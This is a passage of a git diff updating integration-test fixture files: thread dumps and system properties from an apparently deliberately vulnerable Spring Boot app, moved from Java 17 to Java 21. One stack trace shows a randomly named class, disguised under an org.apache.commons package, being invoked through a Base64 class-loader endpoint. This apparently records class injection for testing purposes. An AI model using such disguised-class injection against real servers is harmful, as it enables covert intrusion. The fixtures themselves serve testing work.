java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-nio-8080-exec-8" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"http-nio-8080-exec-10" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"http-nio-8080-exec-9" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"Catalina-utility-1" #19 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@223cf48f +"container-0" #36 [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) - at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) - at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:522) + at org.springframework.boot.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:216) -"Reference Handler" #2 daemon [RUNNABLE] +"Signal Dispatcher" #11 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) - at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) - at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) -"http-nio-8080-Poller" #32 daemon [RUNNABLE] +"Notification Thread" #18 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) - at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) - at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:912) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) -"http-nio-8080-exec-9" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"http-nio-8080-exec-6" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - -"http-nio-8080-exec-5" #26 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) - at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) - at org.apache.commons.XRksM.ErrorGfecaHandler.toString(BasicInfoPrinter.java:26) - at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:22) - at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) - at java.base@17.0.17/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.base@17.0.17/java.lang.reflect.Method.invoke(Method.java:569) - at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:252) - at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:184) - at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) - at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:934) - at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:853) - at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:86) - at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:963) - at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:866) - at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1000) - at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:903) - at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:649) - at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:874) - at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:710) - at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132) - at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:59) - at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) - at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) - at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) - at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) - at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) - at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) - at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) - at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:199) - at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) - at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) - at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:165) - at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:77) - at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:535) - at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115) - at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:86) - at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:71) - at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:347) - at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:406) - at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:71) - at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:1307) - at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:2036) - at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:74) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:949) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - -"Catalina-utility-2" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@223cf48f - java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) - at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - -"Signal Dispatcher" #4 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"http-nio-8080-Acceptor" #33 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/sun.nio.ch.Net.accept(Native Method) - at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) - at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) - at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:626) - at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:71) - at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:145) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - -"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6a74e428 +"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@241094ac java.lang.Thread.State: TIMED_WAITING - at java.base@17.0.17/java.lang.Object.wait(Native Method) - at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) - at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) -"DestroyJavaVM" #34 [RUNNABLE] +"http-nio-8080-Poller" #47 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:912) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"container-0" #21 [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.base@17.0.17/java.lang.Thread.sleep(Native Method) - at org.apache.catalina.core.StandardServer.await(StandardServer.java:522) - at org.springframework.boot.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:216) - -"http-nio-8080-exec-7" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"http-nio-8080-exec-7" #43 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e42fb29 - java.lang.Thread.State: WAITING - at java.base@17.0.17/java.lang.Object.wait(Native Method) - at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) - at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) - at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.11/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.11/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"Catalina-utility-2" #35 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fbfe421 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"http-nio-8080-exec-4" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"http-nio-8080-exec-3" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) =========================================== @@ -375,7 +406,7 @@ org.apache.catalina.core.StandardHostValve org.apache.catalina.core.StandardServer org.apache.catalina.core.StandardWrapperValve org.apache.catalina.valves.ErrorReportValve -org.apache.commons.XRksM.ErrorGfecaHandler +org.apache.commons.lang.jlEOs.ErrorPscoiHandler org.apache.coyote.AbstractProcessorLight org.apache.coyote.AbstractProtocol$ConnectionHandler org.apache.coyote.http11.Http11Processor diff --git a/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt index db363b78..7d4ab7c6 100644 --- a/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt +++ b/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt @@ -1,13 +1,13 @@ -# Generated At 2026-08-21 07:15:00 +# Generated At 2026-08-21 10:13:42 SystemProps: -java.specification.version: 17 +java.specification.version: 21 sun.jnu.encoding: UTF-8 java.class.path: /app/app.jar java.vm.vendor: Eclipse Adoptium sun.arch.data.model: 64 java.vendor.url: https://adoptium.net/ user.timezone: Etc/UTC -java.vm.specification.version: 17 +java.vm.specification.version: 21 os.name: Linux APPLICATION_NAME: vul-springboot4 sun.java.launcher: SUN_STANDARD @@ -19,7 +19,7 @@ sun.cpu.endian: little user.home: /root user.language: en java.specification.vendor: Oracle Corporation -java.version.date: 2025-10-21 +java.version.date: 2026-04-21 java.home: /opt/java/openjdk file.separator: / java.vm.compressedOopsMode: Zero based @@ -31,17 +31,18 @@ FILE_LOG_CHARSET: UTF-8 java.awt.headless: true java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol sun.management.compiler: HotSpot 64-Bit Tiered Compilers -java.runtime.version: 17.0.17+10 +java.runtime.version: 21.0.11+10-LTS user.name: root +stdout.encoding: UTF-8 path.separator: : os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 java.runtime.name: OpenJDK Runtime Environment file.encoding: UTF-8 java.vm.name: OpenJDK 64-Bit Server VM -java.vendor.version: Temurin-17.0.17+10 +java.vendor.version: Temurin-21.0.11+10 java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues java.io.tmpdir: /tmp -java.version: 17.0.17 +java.version: 21.0.11 user.dir: / os.arch: aarch64 java.vm.specification.name: Java Virtual Machine Specification @@ -50,25 +51,65 @@ CONSOLE_LOG_CHARSET: UTF-8 native.encoding: UTF-8 java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 java.vendor: Eclipse Adoptium -java.vm.version: 17.0.17+10 -java.specification.maintenance.version: 1 +java.vm.version: 21.0.11+10-LTS sun.io.unicode.encoding: UnicodeLittle -java.class.version: 61.0 +java.class.version: 65.0 LOGGED_APPLICATION_NAME: [vul-springboot4] =========================================== ThreadStacks: -"Notification Thread" #12 daemon [RUNNABLE] +"reactor-http-nio-2" #38 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Common-Cleaner" #19 daemon [TIMED_WAITING] on 